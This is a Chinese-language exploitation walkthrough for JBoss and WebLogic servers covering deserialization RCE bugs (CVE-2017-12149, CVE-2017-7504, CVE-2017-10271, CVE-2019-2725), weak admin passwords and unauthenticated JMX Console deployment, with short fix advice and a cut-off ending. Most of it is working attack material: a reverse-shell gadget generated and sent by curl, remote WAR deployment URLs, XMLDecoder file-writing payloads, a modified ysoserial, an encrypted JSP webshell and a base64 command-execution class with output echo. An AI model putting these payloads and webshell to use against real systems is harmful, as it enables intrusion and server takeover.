JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

访问 /invoker/readonly 返回 500,说明页面存在,此页面存在反序列化漏洞。

利用工具: JavaDeserH2HC, 我们选择一个 Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:

生成 ReverseShellCommonsCollectionsHashMap.class

  1. javac \-cp .:commons\-collections\-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成 ReverseShellCommonsCollectionsHashMap.ser

  1. java \-cp .:commons\-collections\-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666ipnc所在的ip

利用:

  1. curl http://192.168.31.205:8080/invoker/readonly \--data\-binary @ReverseShellCommonsCollectionsHashMap.ser

JBoss JMXInvokerServlet 反序列化漏洞

访问 /invoker/JMXInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。

这里直接利用 CVE-2017-12149 生成的 ser,发送到 / invoker/JMXInvokerServlet 接口中。 如下:

JBoss EJBInvokerServlet 反序列化漏洞

访问 /invoker/EJBInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。

这里直接利用 CVE-2017-12149 生成的 ser,发送到 / invoker/EJBInvokerServlet 接口中。 如下:

修复建议

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar, 删除后访问 404.

2、或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制: /* 路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

JBoss<=4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

环境: jboss-4.2.3

设置外网访问: 在

C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml 将 address=”${jboss.bind.address} 改为:address=”0.0.0.0”, 重启 Jboss

  1. <Connector port\="8080" address\="${jboss.bind.address}"
  2. maxThreads\="250" maxHttpHeaderSize\="8192"
  3. emptySessionPath\="true" protocol\="HTTP/1.1"
  4. enableLookups\="false" redirectPort\="8443" acceptCount\="100"
  5. connectionTimeout\="20000" disableUploadTimeout\="true" /\>

访问 / jbossmq-httpil/HTTPServerILServlet, 返回 This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。

这里直接利用 CVE-2017-12149 生成的 ser,发送到 / jbossmq-httpil/HTTPServerILServlet 接口中。 如下:

修复建议: 升级至最新版。

Administration Console 弱口令

Administration Console 管理页面存在弱口令,admin:admin,登陆后台上传 war 包。

1、点击 Web Application (WAR)s

2、Add a new resource,上传 war 包

3、点击创建的 war 包进入下一层,若状态为 stop,点击 Start 按钮(默认都是 start 状态,不需要点击 Start 按钮)

4、访问http://xx.xx.xx.xx/[warname]/shellname.jsp

修复建议

1、修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

2、或删除 Administration Console 页面。 JBoss 版本 >=6.0,admin-console 页面路径为:C:\jboss-6.1.0.Final\common\deploy\admin-console.war 6.0 之前的版本,路径为 C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

JMX Console 未授权访问

JMX Console 默认存在未授权访问,直接点击 JBoss 主页中的 JMX Console 链接进入 JMX Console 页面。

1、在 JMX Console 页面点击 jboss.system 链接,在 Jboss.system 页面中点击 service=MainDeployer,如下

2、进入 service=MainDeployer 页面之后,找到 methodIndex 为 17 or 19 的 deploy 填写远程 war 包地址进行远程部署。

3、这里我部署的 war 包为 lxh.war,链接如下: http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war

4、访问 http://xx.xx.xx.xx/[warname]/shellname.jsp

修复建议

  1. 增加密码措施,防止未授权访问。 1)在 C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml 开启安全配置。

2)在 C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml 开启安全认证。

3)在 C:\jboss-6.1.0.Final\server\default\conf\login-config.xml 中可以看到 JMX Console 的用户密码配置位置。

  1. <application\-policy name\="jmx-console"\>
  2. <authentication\>
  3. <login\-module code\="org.jboss.security.auth.spi.UsersRolesLoginModule"
  4. flag\="required"\>
  5. <module\-option name\="usersProperties"\>props/jmx\-console\-users.properties</module\-option\>
  6. <module\-option name\="rolesProperties"\>props/jmx\-console\-roles.properties</module\-option\>
  7. </login\-module\>
  8. </authentication\>

4)配置用户密码以及用户权限,这里新增 lxhsec 用户。

5)重启 JBoss,效果如下:

  1. 或删除 JMX Console, 后重启 JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

WebLogic 是美国 Oracle 公司出品的一个 applicationserver,确切的说是一个基于 JAVAEE 架构的中间件,WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

默认端口: 7001

测试环境版本:10.3.6 下载地址:

https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954

下载完成后双击运行,一直点下一步就 ok 了。

安装完成之后,在

C:\Oracle\Middleware\user_projects\domains\base_domain

这个目录双击 startWebLogic.cmd 启动 Weblogic 服务。

浏览器访问:http://127.0.0.1:7001/, 界面上出现 Error 404–Not Found,即启动成功。

设置外网访问,在 域结构 -> 环境 -> 服务器 右边选择相应的 Server(管理服务器),打开进行编辑,在监听地址: 中填入 0.0.0.0,保存后,重启 Weblogic 服务器即可。

以下复现若无特别说明均采用 Weblogic 10.3.6

XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。

漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在 wls-wsat 包中的 Uri 皆受到影响,可以查看 web.xml 得知所有受到影响的 Uri,路径为:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

默认受到影响的 Uri 如下:

  1. /wls\-wsat/CoordinatorPortType
  2. /wls\-wsat/RegistrationPortTypeRPC
  3. /wls\-wsat/ParticipantPortType
  4. /wls\-wsat/RegistrationRequesterPortType
  5. /wls\-wsat/CoordinatorPortType11
  6. /wls\-wsat/RegistrationPortTypeRPC11
  7. /wls\-wsat/ParticipantPortType11
  8. /wls\-wsat/RegistrationRequesterPortType11

构造 写入文件 数据包发送,如下,其中 Content-Type 需要等于 text/xml, 否则可能导致 XMLDecoder 不解析。

  1. POST /wls\-wsat/RegistrationPortTypeRPC HTTP/1.1
  2. Host: 127.0.0.1:7001
  3. User\-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*

访问 /bea_wls_internal/test2.jsp, 如下:

不熟悉 JAVA 的小伙伴们可能会对这个构造的 XML 有所疑惑,可以参考下这篇文章。

CVE-2017-3506 的补丁加了验证函数,补丁在 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java 中添加了 validate 方法, 验证 Payload 中的节点是否存在 object Tag。

  1. private void validate(InputStream is){
  2. WebLogicSAXParserFactory factory \= new WebLogicSAXParserFactory();
  3. try {
  4. SAXParser parser \=factory.newSAXParser();
  5. parser.parse(is, newDefaultHandler() {
  6. public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
  7. if(qName.equalsIgnoreCase("object")) {
  8. throw new IllegalStateException("Invalid context type: object");
  9. }
  10. }
  11. });
  12. } catch(ParserConfigurationException var5) {
  13. throw new IllegalStateException("Parser Exception", var5);
  14. } catch (SAXExceptionvar6) {
  15. throw new IllegalStateException("Parser Exception", var6);
  16. } catch (IOExceptionvar7) {
  17. throw new IllegalStateException("Parser Exception", var7);
  18. }
  19. }

我们将 object 换成 void 就可绕过此补丁,产生了 CVE-2017-10271。

  1. <soapenv:Envelope xmlns:soapenv\="http://schemas.xmlsoap.org/soap/envelope/"\>
  2. <soapenv:Header\>
  3. <work:WorkContext xmlns:work\="http://bea.com/2004/06/soap/workarea/"\>
  4. <java\>
  5. <void class\="java.io.PrintWriter"\>
  6. <string\>servers/AdminServer/tmp/\_WL\_internal/bea\_wls\_internal/9j4dqk/war/test33.jsp</string\>
  7. <void method\="println"\>
  8. <string\>
  9. <!\[CDATA\[
  10. <% out.print("test777776666666"); %\>
  11. \]\]\>
  12. </string\>
  13. </void\>
  14. <void method\="close"/\>
  15. </void\>
  16. </java\>
  17. </work:WorkContext\>
  18. </soapenv:Header\>
  19. <soapenv:Body/\>
  20. </soapenv:Envelope\>

修复建议

1)安装补丁。 2)或删除 wls-wsat 组件,再次访问返回 404.

  1. 1.删除C:\\Oracle\\Middleware\\wlserver\_10.3\\server\\lib\\wls\-wsat.war
  2. 2.删除C:\\Oracle\\Middleware\\user\_projects\\domains\\base\_domain\\servers\\AdminServer\\tmp\\.internal\\wls\-wsat.war
  3. 3.删除C:\\Oracle\\Middleware\\user\_projects\\domains\\base\_domain\\servers\\AdminServer\\tmp\\\_WL\_internal\\wls\-wsat
  4. 4.重启Weblogic

Note:wls-wsat.war 属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle 官方不建议对其进行此类操作。

Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019-2725)

影响组件:bea_wls9_async_response.war, wls-wsat.war 影响版本:10.3.6.0, 12.1.3.0

bea_wls9_async_response.war

访问 /_async/AsyncResponseService 返回如下页面,则可能存在此漏洞。

漏洞不仅存在于 /_async/AsyncResponseService 只要是在 bea_wls9_async_response 包中的 Uri 皆受到影响,可以查看 web.xml 得知所有受到影响的 Uri,路径为: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

默认受到影响的 Uri 如下:

  1. /\_async/AsyncResponseService
  2. /\_async/AsyncResponseServiceJms
  3. /\_async/AsyncResponseServiceHttps

wls-wsat.war 受影响的 URI 见 XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

此漏洞实际上是 CVE-2017-10271 的又一入口,那么它是怎么绕过 CVE-2017-10271 的补丁,执行 REC 的呢。

先来看一下 CVE-2017-10271 的补丁代码:

  1. public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
  2. if(qName.equalsIgnoreCase("object")) {
  3. throw new IllegalStateException("Invalid element qName:object");
  4. } else if(qName.equalsIgnoreCase("new")) {
  5. throw new IllegalStateException("Invalid element qName:new");
  6. } else if(qName.equalsIgnoreCase("method")) {
  7. throw new IllegalStateException("Invalid element qName:method");
  8. } else {
  9. if(qName.equalsIgnoreCase("void")) {
  10. for(int attClass \= 0; attClass < attributes.getLength();++attClass) {
  11. if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
  12. throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
  13. }
  14. }
  15. }
  16. if(qName.equalsIgnoreCase("array")) {
  17. String var9 \=attributes.getValue("class");
  18. if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
  19. throw new IllegalStateException("The value of class attribute is notvalid for array element.");
  20. }

其中 CVE-2017-3506 的补丁是过滤了 object,CVE-2017-10271 的补丁是过滤了 new,method 标签,且 void 后面只能跟 index,array 后面可以跟 class,但是必须要是 byte 类型的。 绕过 CVE-2017-10271 补丁是因为 class 标签未被过滤所导致的,这点我们可以从 Oracle 发布的 CVE-2019-2725 补丁看出来, CVE-2019-2725 补丁新增部分内容,将 class 加入了黑名单,限制了 array 标签中的 byte 长度。如下:

  1. else if (qName.equalsIgnoreCase("class")) {
  2. throw new IllegalStateException("Invalid element qName:class");
  3. }
  4. else {
  5. if (qName.equalsIgnoreCase("array")) {
  6. String attClass \= attributes.getValue("class");
  7. if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
  8. throw new IllegalStateException("The value of class attribute is not valid for array element.");
  9. }
  10. String lengthString \= attributes.getValue("length");
  11. if (lengthString != null) {
  12. try {
  13. int length \= Integer.valueOf(lengthString);
  14. if (length \>= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
  15. throw new IllegalStateException("Exceed array length limitation");
  16. }
  17. this.overallarraylength += length;
  18. if (this.overallarraylength \>= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
  19. throw new IllegalStateException("Exceed over all array limitation.");
  20. }
  21. } catch (NumberFormatException var8) {

复现:Weblogic 10.3.6 利用 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 构造函数执行 readObject().

构造函数参考:

  1. public UnitOfWorkChangeSet(byte\[\] bytes) throws java.io.IOException, ClassNotFoundException {
  2. java.io.ByteArrayInputStream byteIn \= new java.io.ByteArrayInputStream(bytes);
  3. ObjectInputStream objectIn \= new ObjectInputStream(byteIn);
  4. allChangeSets \= (IdentityHashtable)objectIn.readObject();
  5. deletedObjects \= (IdentityHashtable)objectIn.readObject();
  6. }

UnitOfWorkChangeSet 的参数是一个 Byte 数组,因此我们需要将 Payload 转换为 Byte[].

利用 ysoserial 生成 Payload

  1. java \-jar ysoserial\-0.0.6\-SNAPSHOT\-BETA\-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/\_WL\_internal/bea\_wls9\_async\_response/8tpkys/war/echoxxxxx.txt" \> payload.txt

然后使用下列代码,将 Payload 进行转换成 Byte[]

  1. import java.beans.XMLEncoder;
  2. import java.io.\*;
  3. public class Test{
  4. public static void main(String\[\] args) throws Exception {
  5. File file \= new File("C:\\\\Users\\\\lxhsec\\\\Downloads\\\\JRE8u20\_RCE\_Gadget-master\\\\exploit.ser");
  6. FileInputStream fileInputStream \= new FileInputStream(file);
  7. ByteArrayOutputStream byteArrayOutputStream \= new ByteArrayOutputStream((int) file.length());
  8. int buf\_size\=1024;
  9. byte\[\] buffer\=new byte\[buf\_size\];
  10. int len\=0;
  11. while(\-1 != (len\=fileInputStream.read(buffer,0,buf\_size))){
  12. byteArrayOutputStream.write(buffer,0,len);
  13. }
  14. BufferedOutputStream oop \= new BufferedOutputStream(new FileOutputStream(new File("C:\\\\Users\\\\lxhsec\\\\Downloads\\\\ysoserial-master\\\\target\\\\result.txt")));
  15. XMLEncoder xmlEncoder \= new XMLEncoder(oop);
  16. xmlEncoder.flush();
  17. xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());
  18. xmlEncoder.close();
  19. byteArrayOutputStream.close();
  20. fileInputStream.close();
  21. }
  22. }

拼接 Payload

  1. POST /wls\-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 127.0.0.1:7001
  3. User\-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept:\*

效果:

使用 ysoserial 生成的只能适用于 Windows 平台,如果在 Linux 平台使用,则又要进行一次编译,兼容性有点不太好,因此我们可以 将 ysoserial 稍稍的进行更改。

这里我们将 ysoserial 的 Gadgets.java 文件进行更改。路径为:ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java.

  1. public static <T\> T createTemplatesImpl ( final String command, Class<T\> tplClass, Class<?\> abstTranslet, Class<?\> transFactory )
  2. throws Exception {
  3. final T templates \= tplClass.newInstance();
  4. ClassPool pool \= ClassPool.getDefault();
  5. pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
  6. pool.insertClassPath(new ClassClassPath(abstTranslet));
  7. final CtClass clazz \= pool.get(StubTransletPayload.class.getName());
  8. String cmd \= "";
  9. if(command.startsWith("filename:")) {
  10. String filename \= command.substring(9);
  11. try {
  12. File file \= new File(filename);
  13. if (file.exists()) {
  14. FileReader reader \= new FileReader(file);
  15. BufferedReader br \= new BufferedReader(reader);
  16. StringBuffer sb \= new StringBuffer("");
  17. String line \= "";
  18. while ((line \= br.readLine()) != null) {
  19. sb.append(line);
  20. sb.append("\\r\\n");
  21. }
  22. cmd \= sb.toString();
  23. } else {
  24. System.err.println(String.format("filename %s not exists!", filename));
  25. System.exit(0);
  26. }
  27. } catch (IOException e) {
  28. e.printStackTrace();
  29. }
  30. }else {
  31. cmd \= "java.lang.Runtime.getRuntime().exec(\\"" +
  32. command.replaceAll("\\\\\\\\","\\\\\\\\\\\\\\\\").replaceAll("\\"", "\\\\\\"") +
  33. "\\");";
  34. }
  35. System.err.println(cmd);
  36. clazz.makeClassInitializer().insertAfter(cmd);
  37. clazz.setName("ysoserial.Pwner" + System.nanoTime());
  38. CtClass superC \= pool.get(abstTranslet.getName());
  39. clazz.setSuperclass(superC);
  40. final byte\[\] classBytes \= clazz.toBytecode();
  41. Reflections.setFieldValue(templates, "\_bytecodes", new byte\[\]\[\] {
  42. classBytes, ClassFiles.classAsBytes(Foo.class)
  43. });
  44. Reflections.setFieldValue(templates, "\_name", "Pwnr");
  45. Reflections.setFieldValue(templates, "\_tfactory", transFactory.newInstance());
  46. return templates;
  47. }

保存后重新编译mvn clean package -DskipTests.

编译使用的是 JDK1.8,修改后的 ysoserial,将命令执行,转换成了代码执行。整个兼容两边平台的代码 TestCode.txt。

  1. String WEB\_PATH \= "servers/AdminServer/tmp/\_WL\_internal/bea\_wls9\_async\_response/8tpkys/war/echolxhsec.jsp";
  2. String ShellContent \= "<%@page import=\\"java.util.\*,javax.crypto.\*,javax.crypto.spec.\*\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte \[\]b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\"pass\\")!=null){String k=(\\"\\"+UUID.randomUUID()).replace(\\"-\\",\\"\\").substring(16);session.putValue(\\"u\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\"AES\\");c.init(2,new SecretKeySpec((session.getValue(\\"u\\")+\\"\\").getBytes(),\\"AES\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>";
  3. try {
  4. java.io.PrintWriter printWriter \= new java.io.PrintWriter(WEB\_PATH);
  5. printWriter.println(ShellContent);
  6. printWriter.close();
  7. } catch (Exception e) {
  8. e.printStackTrace();
  9. }

执行:

  1. java \-jar ysoserial\-0.0.6\-SNAPSHOT\-all.jar Jdk7u21 "filename:C:\\Users\\lxhsec\\Desktop\\TestCode.txt" \> result.txt

reuslt.txt 转换成 Byte[]后执行,如下:

访问:http://127.0.0.1:7001/_async/echolxhsec.jsp

Weblogic 12.1.3 利用 org.slf4j.ext.EventData 构造函数执行 readObject().

oracle.toplink.internal.sessions.UnitOfWorkChangeSet 在 Weblogic 12.1.3 中不存在,因此需要重新找利用链。

Weblogic 的黑名单只会过滤传入的第一层 XML,使用 org.slf4j.ext.EventData 传入的第一层 XML 是 String,因此绕过黑名单检测。

构造函数参考

  1. public EventData(String xml) {
  2. ByteArrayInputStream bais \= new ByteArrayInputStream(xml.getBytes());
  3. try {
  4. XMLDecoder decoder \= new XMLDecoder(bais);
  5. this.eventData \= (Map<String, Object\>) decoder.readObject();
  6. } catch (Exception e) {
  7. throw new EventException("Error decoding " + xml, e);
  8. }
  9. }

构造写入文件 Payload,如下。

  1. POST /\_async/AsyncResponseService HTTP/1.1
  2. Host: 192.168.124.129:7001
  3. User\-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: \*

结果:

wls-wsat.war

Weblogic 10.3.6 回显构造.

bea_wls9_async_response.war 的反序列化链无法造成回显,但是 wls-wsat.war 的却可以。

访问:/wls-wsat/CoordinatorPortType

以下测试均在 JDK 1.6.0_45 64bit 下进行。

拿 lufei 大佬的工具改改。

这里我直接使用 lufei 的工具,发现 > 等特殊字符,会被当成字符串。

这里将工具的 exec 函数更改,如下:

  1. import java.io.\*;
  2. public class ResultBaseExec {
  3. public static String exec(String cmd) throws Exception {
  4. String osTyp \= System.getProperty("os.name");
  5. Process p;
  6. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  7. p \= Runtime.getRuntime().exec(new String\[\]{"cmd.exe", "/c", cmd});
  8. }else{
  9. p \= Runtime.getRuntime().exec(new String\[\]{"/bin/sh", "-c", cmd});
  10. }
  11. InputStream fis\=p.getInputStream();
  12. InputStreamReader isr\=new InputStreamReader(fis);
  13. BufferedReader br\=new BufferedReader(isr);
  14. String line\=null;
  15. String result \= "";
  16. while((line\=br.readLine())!=null)
  17. {
  18. result \= result + line;
  19. }
  20. return result;
  21. }
  22. }

编译成. class 文件 "C:\Program Files\Java\jdk1.6.0_45\bin\javac.exe" C:\Users\lxhsec\Downloads\WeblogicCode\src\main\java\ResultBaseExec.java

接着将. class 转换成 Base64,当然你转成 hex 这些也可以。

  1. import sun.misc.BASE64Encoder;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.FileInputStream;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. public class toBase64 {
  7. public static byte\[\] toByteArray(InputStream in) throws IOException, IOException {
  8. ByteArrayOutputStream out \= new ByteArrayOutputStream();
  9. byte\[\] buffer \= new byte\[1024 \* 4\];
  10. int n \= 0;
  11. while ((n \= in.read(buffer)) != \-1) {
  12. out.write(buffer, 0, n);
  13. }
  14. return out.toByteArray();
  15. }
  16. public static void main(final String\[\] args) throws Exception {
  17. BASE64Encoder base64Encoder \= new BASE64Encoder();
  18. InputStream in \= new FileInputStream("C:\\\\Users\\\\lxhsec\\\\Downloads\\\\WeblogicCode\\\\src\\\\main\\\\java\\\\ResultBaseExec.class");
  19. byte\[\] data \= toByteArray(in);
  20. in.close();
  21. String encode \= base64Encoder.encodeBuffer(data);
  22. System.out.println(encode);
  23. }
  24. }
  25. yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp

生成之后使用 test_code 测试,发现 > 被解析成了我们想要的。

替换

  1. clazz.makeClassInitializer()
  2. .insertAfter(""
  3. + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\\"lfcmd\\");\\n"
  4. + "String R = \\"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\\";"
  5. + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"
  6. + "byte\[\] bt = decoder.decodeBuffer(R);"
  7. + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"
  8. + "Class cl = cls.defineClass(\\"ResultBaseExec\\",bt);"
  9. + "java.lang.reflect.Method m = cl.getMethod(\\"exec\\",new Class\[\]{String.class});"
  10. + "Object object = m.invoke(cl.newInstance(),new Object\[\]{ua});"
  11. + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\\n"
  12. + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\\n"
  13. + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\\n"
  14. + "outputStream.flush();\\n"
  15. + "response.getWriter().write(\\"\\");"
  16. + "");

然后运行 JDK7u21, 编译生成 Byte[], 执行。

Weblogic 12.1.3 回显构造.

  1. clazz.makeClassInitializer()
  2. .insertAfter(""
